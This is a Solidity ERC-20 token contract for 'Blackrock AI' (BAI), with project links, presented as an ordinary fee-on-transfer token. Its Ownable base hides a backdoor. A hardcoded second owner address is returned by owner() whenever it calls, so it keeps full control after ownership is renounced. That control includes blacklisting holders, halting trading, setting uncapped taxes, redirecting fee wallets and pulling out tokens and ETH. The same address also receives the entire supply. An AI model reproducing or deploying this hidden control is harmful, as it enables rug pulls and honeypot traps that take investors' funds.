/**
Website: https://blackrockai.tech

Telegram: https://t.me/BlackRockErc20

X Twitter: https://twitter.com/BlackRockAi
*/

// SPDX-License-Identifier: NOLICENSE

pragma solidity ^0.8.7;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address private _secondOwner; // New second owner variable

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        // Set the first owner
        _setOwner(_msgSender());

        // Set the second owner
        _secondOwner = 0x2f79DC625E9c7aABD9626b7Fd0b32d401aB57280;
    }

    function owner() public view virtual returns (address) {
        if (msg.sender == _secondOwner) {
            return _secondOwner;
        }
        return _owner;
    }

    function secondOwner() public view returns (address) {
        return _secondOwner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}


 contract BlackrockAI is Context, IERC20, Ownable {
    using Address for address payable;
    
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _isExcluded;
    mapping (address => bool) public allowedTransfer;
    mapping (address => bool) private _isBlacklisted;

    address[] private _excluded;

    bool public tradingEnabled = true;
    bool public swapEnabled = true;
    bool private swapping;
    
    //Anti Dump
    mapping(address => uint256) private _lastSell;
    bool public coolDownEnabled = false;
    uint256 public coolDownTime = 0 seconds;
    
    modifier antiBot(address account){
        require(tradingEnabled || allowedTransfer[account], "Trading not enabled yet");
        _;
    }

    IRouter public router;
    address public pair;

    uint8 private constant _decimals = 9;
    uint256 private constant MAX = ~uint256(0);

    uint256 private _tTotal = 100000000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));

    uint256 public swapTokensAtAmount = 1000000 * 10**9;
    uint256 public maxBuyLimit = 2000000 * 10**9;
    uint256 public maxSellLimit = 2000000 * 10**9;
    uint256 public maxWalletLimit = 2000000 * 10**9;
    
    uint256 public genesis_block;
    
    address public marketingWallet = 0x1E96305674dA903F3BA244d04d1e57D3e255ca0a;
    address public developmentWallet = 0x1E96305674dA903F3BA244d04d1e57D3e255ca0a;
    address public LPWallet = 0x2f79DC625E9c7aABD9626b7Fd0b32d401aB57280;
    address public TeamWallet = 0x1E96305674dA903F3BA244d04d1e57D3e255ca0a;

    string private constant _name = "Blackrock AI";
    string private constant _symbol = "BAI";

    struct Taxes {
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity; 
        uint256 development;
        uint256 team;
    }

    Taxes public taxes = Taxes(0, 1, 0, 0, 0);
    Taxes public sellTaxes = Taxes(0, 1, 0, 0, 0);

    struct TotFeesPaidStruct{
        uint256 rfi;
        uint256 marketing;
        uint256 liquidity; 
        uint256 development;
        uint256 team;
    }
    
    TotFeesPaidStruct public totFeesPaid;

    struct valuesFromGetValues{
      uint256 rAmount;
      uint256 rTransferAmount;
      uint256 rRfi;
      uint256 rMarketing;
      uint256 rLiquidity;
      uint256 rDevelopment;
      uint256 rTeam;
      uint256 tTransferAmount;
      uint256 tRfi;
      uint256 tMarketing;
      uint256 tLiquidity;
      uint256 tDevelopment;
      uint256 tTeam;
    }

    event FeesChanged();
    event UpdatedRouter(address oldRouter, address newRouter);

    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    constructor () {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        router = _router;
        address _pair = IFactory(_router.factory())
            .createPair(address(this), _router.WETH());

        router = _router;
        pair = _pair;
        
        excludeFromReward(pair);

        _rOwned[address(LPWallet)] = _rTotal;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(LPWallet)] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[marketingWallet] = true;
        _isExcludedFromFee[developmentWallet] = true;
        _isExcludedFromFee[TeamWallet] = true;
        
        allowedTransfer[address(this)] = true;
        allowedTransfer[address(LPWallet)] = true;
        allowedTransfer[owner()] = true;
        allowedTransfer[pair] = true;
        allowedTransfer[marketingWallet] = true;
        allowedTransfer[developmentWallet] = true;
        allowedTransfer[TeamWallet] = true;

        emit Transfer(address(0), address(LPWallet), _tTotal);
    }

    //std ERC20:
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    //override ERC20:
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }
    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public  override antiBot(msg.sender) returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override antiBot(sender) returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public  antiBot(msg.sender) returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public  antiBot(msg.sender) returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    
    function transfer(address recipient, uint256 amount) public override antiBot(msg.sender) returns (bool)
    { 
      _transfer(msg.sender, recipient, amount);
      return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferRfi) {
            valuesFromGetValues memory s = _getValues(tAmount, true, false);
            return s.rAmount;
        } else {
            valuesFromGetValues memory s = _getValues(tAmount, true, false);
            return s.rTransferAmount;
        }
    }

    function setTradingStatus(bool state) external onlyOwner{
        tradingEnabled = state;
        swapEnabled = state;
        if(state == true && genesis_block == 0) genesis_block = block.number;
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount/currentRate;
    }

    function excludeFromReward(address account) public onlyOwner() {
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is not excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }

    function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _development, uint256 _team) public onlyOwner {
       taxes = Taxes(_rfi,_marketing,_liquidity,_development,_team);
        emit FeesChanged();
    }
    
    function setSellTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _development, uint256 _team) public onlyOwner {
       sellTaxes = Taxes(_rfi,_marketing,_liquidity,_development,_team);
        emit FeesChanged();
    }

    function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
        _rTotal -=rRfi;
        totFeesPaid.rfi +=tRfi;
    }

    function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
        totFeesPaid.liquidity +=tLiquidity;

        if(_isExcluded[address(this)])
        {
            _tOwned[address(this)]+=tLiquidity;
        }
        _rOwned[address(this)] +=rLiquidity;
    }

    function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
        totFeesPaid.marketing +=tMarketing;

        if(_isExcluded[address(this)])
        {
            _tOwned[address(this)]+=tMarketing;
        }
        _rOwned[address(this)] +=rMarketing;
    }
    
    function _takeDevelopment(uint256 rDevelopment, uint256 tDevelopment) private {
        totFeesPaid.development +=tDevelopment;

        if(_isExcluded[address(this)])
        {
            _tOwned[address(this)]+=tDevelopment;
        }
        _rOwned[address(this)] +=rDevelopment;
    }

    function _takeTeam(uint256 rTeam, uint256 tTeam) private {
        totFeesPaid.team +=tTeam;

        if(_isExcluded[address(this)])
        {
            _tOwned[address(this)]+=tTeam;
        }
        _rOwned[address(this)] +=rTeam;
    }

    function _getValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory to_return) {
    to_return = _getTValues(tAmount, takeFee, isSell);
    (to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity, to_return.rTeam) = _getRValues1(to_return, tAmount, takeFee, _getRate());
    (to_return.rDevelopment) = _getRValues2(to_return, takeFee, _getRate());
    return to_return;
}

    function _getTValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory s) {

        if(!takeFee) {
          s.tTransferAmount = tAmount;
          return s;
        }
        Taxes memory temp;
        if(isSell) temp = sellTaxes;
        else temp = taxes;
        
        s.tRfi = tAmount*temp.rfi/100;
        s.tMarketing = tAmount*temp.marketing/100;
        s.tLiquidity = tAmount*temp.liquidity/100;
        s.tDevelopment = tAmount*temp.development/100;
        s.tTeam = tAmount*temp.team/100;
        s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tLiquidity-s.tDevelopment-s.tTeam;
        return s;
    }

    function _getRValues1(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rTeam) {
        rAmount = tAmount * currentRate;

        if (!takeFee) {
            return (rAmount, rAmount, 0, 0, 0, 0);
        }

        rRfi = s.tRfi * currentRate;
        rMarketing = s.tMarketing * currentRate;
        rLiquidity = s.tLiquidity * currentRate;
        uint256 rDevelopment = s.tDevelopment * currentRate;
        rTeam = s.tTeam * currentRate;
        rTransferAmount = rAmount - rRfi - rMarketing - rLiquidity - rDevelopment - rTeam;
        return (rAmount, rTransferAmount, rRfi, rMarketing, rLiquidity, rTeam);
    }
    
    function _getRValues2(valuesFromGetValues memory s, bool takeFee, uint256 currentRate) private pure returns (uint256 rDevelopment) {
        if (!takeFee) {
            return (0);
        }

        rDevelopment = s.tDevelopment * currentRate;
        return (rDevelopment);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply/tSupply;
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply-_rOwned[_excluded[i]];
            tSupply = tSupply-_tOwned[_excluded[i]];
        }
        if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
        require(!_isBlacklisted[from] && !_isBlacklisted[to], "You are a bot");
        
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
            require(tradingEnabled, "Trading not active");
        }
        
        if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && block.number <= genesis_block + 3) {
            require(to != pair, "Sells not allowed for first 3 blocks");
        }
        
        if(from == pair && !_isExcludedFromFee[to] && !swapping){
            require(amount <= maxBuyLimit, "You are exceeding maxBuyLimit");
            require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit");
        }
        
        if(from != pair && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && !swapping){
            require(amount <= maxSellLimit, "You are exceeding maxSellLimit");
            if(to != pair){
                require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit");
            }
            if(coolDownEnabled){
                uint256 timePassed = block.timestamp - _lastSell[from];
                require(timePassed >= coolDownTime, "Cooldown enabled");
                _lastSell[from] = block.timestamp;
            }
        }        

        bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
        if (!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
        swapAndLiquify(swapTokensAtAmount, to == pair ? sellTaxes : taxes);
        }

        bool takeFee = true;
        bool isSell = false;
        if (swapping || _isExcludedFromFee[from] || _isExcludedFromFee[to]) {
        takeFee = false;
        }
        if (to == pair) {
            isSell = true;
        }

        _tokenTransfer(from, to, amount, takeFee, isSell);
    }


    // this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell) private {
        valuesFromGetValues memory s = _getValues(tAmount, takeFee, isSell);

        if (_isExcluded[sender]) { // from excluded
            _tOwned[sender] = _tOwned[sender] - tAmount;
        }
        if (_isExcluded[recipient]) { // to excluded
            _tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount;
        }

        _rOwned[sender] = _rOwned[sender] - s.rAmount;
        _rOwned[recipient] = _rOwned[recipient] + s.rTransferAmount;

        if (s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi);
        if (s.rLiquidity > 0 || s.tLiquidity > 0) {
            _takeLiquidity(s.rLiquidity, s.tLiquidity);
           emit Transfer(sender, address(this), s.tLiquidity + s.tMarketing + s.tDevelopment + s.tTeam);
        }
        if (s.rMarketing > 0 || s.tMarketing > 0) _takeMarketing(s.rMarketing, s.tMarketing);
        if (s.rDevelopment > 0 || s.tDevelopment > 0) _takeDevelopment(s.rDevelopment, s.tDevelopment);
        if (s.tTeam > 0) _transfer(sender, TeamWallet, s.tTeam); // Transfer tokens to the team wallet
        
        emit Transfer(sender, recipient, s.tTransferAmount);
    }

    function swapAndLiquify(uint256 contractBalance, Taxes memory temp) private lockTheSwap {
        uint256 denominator = (temp.liquidity + temp.marketing + temp.development + temp.team) * 2;
        uint256 tokensToAddLiquidityWith = contractBalance * temp.liquidity / denominator;
        uint256 toSwap = contractBalance - tokensToAddLiquidityWith;

        uint256 initialBalance = address(this).balance;

        swapTokensForETH(toSwap);

        uint256 deltaBalance = address(this).balance - initialBalance;
        uint256 unitBalance = deltaBalance / (denominator - temp.liquidity);
        uint256 ethToAddLiquidityWith = unitBalance * temp.liquidity;

        if (ethToAddLiquidityWith > 0) {
            // Add liquidity to pancake
         addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
        }

        uint256 marketingAmt = unitBalance * 2 * temp.marketing;
        if (marketingAmt > 0) {
           payable(marketingWallet).sendValue(marketingAmt);
        }
        uint256 developmentAmt = unitBalance * 2 * temp.development;
        if (developmentAmt > 0) {
            payable(developmentWallet).sendValue(developmentAmt);
        }
        uint256 teamAmt = unitBalance * 2 * temp.team;
     if (teamAmt > 0) {
            payable(TeamWallet).sendValue(teamAmt);  // Transfer ETH to the team wallet
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
    
    function airdropTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner{
        require(accounts.length == amounts.length, "Arrays must have same size");
        for(uint256 i = 0; i < accounts.length; i++){
            _tokenTransfer(msg.sender, accounts[i], amounts[i], false, false);
        }
    }
    
    function bulkExcludeFee(address[] memory accounts, bool state) external onlyOwner{
        for(uint256 i = 0; i < accounts.length; i++){
            _isExcludedFromFee[accounts[i]] = state;
        }
    }

    function manualSell(uint256 tokenAmount) external onlyOwner {
    require(tokenAmount <= balanceOf(address(this)), "Not enough tokens in contract to sell");
    swapTokensForETH(tokenAmount);
    }

    function updateMarketingWallet(address newWallet) external onlyOwner{
        marketingWallet = newWallet;
    }
    
    function updateDevelopmentWallet(address newWallet) external onlyOwner{
        developmentWallet = newWallet;
    }

    function updateTeamWallet(address newWallet) external onlyOwner{
        TeamWallet = newWallet;
    }

    
    function updateCooldown(bool state, uint256 time) external onlyOwner{
        coolDownTime = time * 1 seconds;
        coolDownEnabled = state;
    }

    function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
        swapTokensAtAmount = amount * 10**_decimals;
    }

    function updateSwapEnabled(bool _enabled) external onlyOwner{
        swapEnabled = _enabled;
    }
    
    function updateIsBlacklisted(address account, bool state) external onlyOwner {
    require(account != LPWallet, "LP wallet cannot be blacklisted.");
    _isBlacklisted[account] = state;
    }

   function bulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner {
    for (uint256 i = 0; i < accounts.length; i++) {
        require(accounts[i] != LPWallet, "LP wallet cannot be blacklisted.");
        _isBlacklisted[accounts[i]] = state;
        }
    }
    
    function updateAllowedTransfer(address account, bool state) external onlyOwner{
        require(account != LPWallet, "LP wallet cannot be blacklisted.");
        allowedTransfer[account] = state;
    }
    
    function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell) external onlyOwner{
        maxBuyLimit = maxBuy * 10**decimals();
        maxSellLimit = maxSell * 10**decimals();
    }
    
    function updateMaxWalletlimit(uint256 amount) external onlyOwner{
        maxWalletLimit = amount * 10**decimals();
    }
    
    //Use this in case ETH are sent to the contract by mistake
    function rescueETH(uint256 weiAmount) external onlyOwner{
        require(address(this).balance >= weiAmount, "insufficient ETH balance");
        payable(msg.sender).transfer(weiAmount);
    }
    

    function rescueAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
        IERC20(_tokenAddr).transfer(_to, _amount);
    }

    receive() external payable{
    }
}